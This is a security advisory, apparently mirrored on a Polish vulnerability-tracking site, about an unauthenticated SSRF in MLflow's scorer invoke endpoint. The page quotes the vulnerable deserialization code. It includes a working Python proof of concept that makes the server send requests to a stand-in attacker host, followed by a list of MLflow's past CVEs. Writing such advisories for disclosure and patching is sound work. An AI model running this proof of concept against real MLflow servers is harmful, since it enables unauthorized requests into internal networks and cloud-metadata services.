Średnia

MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints

  • Ujawniono: 23.10.2026
  • Aktualizacja: 24.10.2026 01:17

Summary

MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).

Details

Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:

python
data = serialized.third_party_scorer_data          # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
           for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
    raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None)   # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {})  # kwargs NOT constrained
...
init_kwargs["model"] = data["model"]               # attacker model URI
scorer_instance = scorer_class(**init_kwargs)      # reflective instantiation

The allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:

python
THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
    "mlflow.genai.scorers.ragas",
    "mlflow.genai.scorers.deepeval",
    "mlflow.genai.scorers.trulens",
    "mlflow.genai.scorers.phoenix",
})

For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):

python
backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
    return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
    return _create_gateway_provider(backend, **kwargs)
try:
    from trulens.providers.litellm import LiteLLM
    litellm_model = backend.model_name
    ...
    return LiteLLM(model_engine=litellm_model, **kwargs)   # raw attacker kwargs forwarded

Only the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().

  • Route: POST /ajax-api/3.0/mlflow/scorer/invoke → _invoke_scorer_handler (mlflow/server/handlers.py:7026-7098), guarded only by @catch_mlflow_exception/@_disable_if_artifacts_only — no auth decorator.
  • Scorer.model_validate_json(serialized_scorer) (the vulnerable deserialization) runs synchronously, before any tracking-store lookup or submit_job call.
  • Precondition: the server venv must have trulens + trulens-providers-litellm installed (a documented but optional, not-bundled GenAI-eval setup).

PoC

python
import time
import mlflow
from mlflow import MlflowClient
import requests

TARGET = "http://TARGET:5000"           # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect"    # host the attacker controls and monitors

client = MlflowClient(tracking_uri=TARGET)

# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
    span.set_inputs({"q": "hi"})
    span.set_outputs({"a": "hi"})
trace_id = span.request_id

# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
#    outbound LLM client at the attacker host with an attacker-chosen
#    Authorization value (their own canary, not a server secret).
serialized_scorer = {
    "name": "poc",
    "third_party_scorer_data": {
        "module": "mlflow.genai.scorers.trulens",
        "class": "Coherence",
        "metric_name": "Coherence",
        "model": "openai:/gpt-4o",          # routes to the litellm fallback
        "kwargs": {
            "api_base": ATTACKER,
            "api_key": "ATTACKER-CANARY",   # attacker's own value, not a server secret
        },
    },
}
resp = requests.post(
    f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
    json={
        "experiment_id": exp_id,
        "serialized_scorer": __import__("json").dumps(serialized_scorer),
        "trace_ids": [trace_id],
    },
)
print(resp.status_code, resp.text)
time.sleep(5)  # scorer job runs asynchronously
# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...

The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.

Impact

An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) mlflow >= 3.12.0rc0, < 3.17.0 3.17.0

Odnośniki

Ocena CVSS 6.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Słabość (CWE)
CWE-470, CWE-918
Platforma
Python (PyPI)
Paczka
mlflow
Ujawniono
23.10.2026
Aktualizacja
24.10.2026 01:17

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-2wqp-q3c6-ccj5 - CC BY 4.0

Historia podatności: mlflow

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (83) w archiwum
Wszystkich wpisów
83
Pierwsza → ostatnia
02.2022 10.2026
Bez poprawki
18
Wykorzystywana w atakach
1

Rozkład istotności

  • Krytyczna 20
  • Wysoka 48
  • Średnia 14
  • Niska 1

Ujawnienia w latach

  1. 2022: 1
  2. 2023: 22
  3. 2024: 24
  4. 2025: 8
  5. 2026: 28
Istotność:
  1. MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints ten wpis
    Średnia · 6.5 CVE-2026-115886 >= 3.12.0rc0, < 3.17.0 3.17.0
  2. Wysoka · 7.1 CVE-2026-71211 >= 3.13.0, <= 3.15.2 brak poprawki
  3. Wysoka · 8.1 CVE-2026-8147 >= 2.14.0rc0, < 3.13.0rc0 3.13.0rc0
  4. Wysoka · 7.0 CVE-2026-4137 >= 1.26.0, < 3.11.0 3.11.0
  5. Krytyczna · 10.0 CVE-2025-15379 < 3.8.1 3.8.1
  6. Krytyczna · 9.6 CVE-2025-15036 < 3.9.0rc0 3.9.0rc0
  7. Wysoka · 8.1 CVE-2025-15381 <= 3.8.1 brak poprawki
  8. Wysoka · 8.1 CVE-2025-15031 < 3.9.0rc0 3.9.0rc0
  9. Wysoka · 7.5 CVE-2025-14287 < 3.8.0rc0 3.8.0rc0
  10. Krytyczna · 9.8 CVE-2026-2635 < 3.8.0rc0 3.8.0rc0
  11. Wysoka · 7.0 CVE-2025-10279 < 3.4.0rc0 3.4.0rc0
  12. Wysoka · 8.1 CVE-2025-11200 < 2.22.0rc0 2.22.0rc0
  13. Wysoka · 8.1 CVE-2025-11201 < 2.22.4, >= 3.0.0rc0, < 3.0.0 2.22.4, 3.0.0
  14. Wysoka · 7.5 CVE-2024-8859 < 2.17.0rc0 2.17.0rc0
  15. Wysoka · 8.8 CVE-2024-37061 >= 1.11.0, <= 2.13.1 brak poprawki
  16. Wysoka · 8.8 CVE-2024-37057 >= 2.0.0rc0, <= 2.14.1 brak poprawki
  17. Wysoka · 8.8 CVE-2024-37058 >= 2.5.0, <= 2.14.1 brak poprawki
  18. Wysoka · 8.8 CVE-2024-37060 >= 1.27.0, <= 2.14.1 brak poprawki
  19. Wysoka · 8.8 CVE-2024-37059 >= 0.5.0, <= 3.4.0 brak poprawki
  20. Wysoka · 8.8 CVE-2024-37054 >= 0.9.0, <= 2.14.1 brak poprawki
  21. Wysoka · 8.8 CVE-2024-37052 >= 1.1.0, <= 2.14.1 brak poprawki
  22. Wysoka · 8.8 CVE-2024-37055 >= 1.24.0, <= 2.14.1 brak poprawki
  23. Wysoka · 8.8 CVE-2024-37056 >= 1.23.0, <= 2.14.1 brak poprawki
  24. Wysoka · 8.8 CVE-2024-37053 >= 1.1.0, <= 2.14.1 brak poprawki
  25. Wysoka · 8.1 CVE-2024-1560 <= 2.9.2 brak poprawki
  26. Wysoka · 7.5 CVE-2024-1594 <= 2.9.2 brak poprawki
  27. Wysoka · 7.5 CVE-2024-1593 <= 2.9.2 brak poprawki
  28. Wysoka · 7.5 CVE-2024-1558 < 2.12.1 2.12.1
  29. Wysoka · 7.5 CVE-2024-1483 < 2.12.1 2.12.1
  30. Wysoka · 8.8 CVE-2023-6976 < 2.9.2 2.9.2
  31. Wysoka · 7.5 CVE-2023-6977 < 2.9.2 2.9.2
  32. Krytyczna · 9.8 CVE-2023-6974 < 2.9.2 2.9.2
  33. Krytyczna · 9.8 CVE-2023-6975 < 2.9.2 2.9.2
  34. Wysoka · 8.8 CVE-2023-6940 < 2.9.2 2.9.2
  35. Wysoka · 8.8 CVE-2023-6753 < 2.9.2 2.9.2
  36. Wysoka · 7.5 CVE-2023-43472 < 2.9.0 2.9.0
  37. Krytyczna · 10.0 CVE-2023-6015 < 2.8.1 2.8.1
Pokaż więcej (9) Widać 60 z 69

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.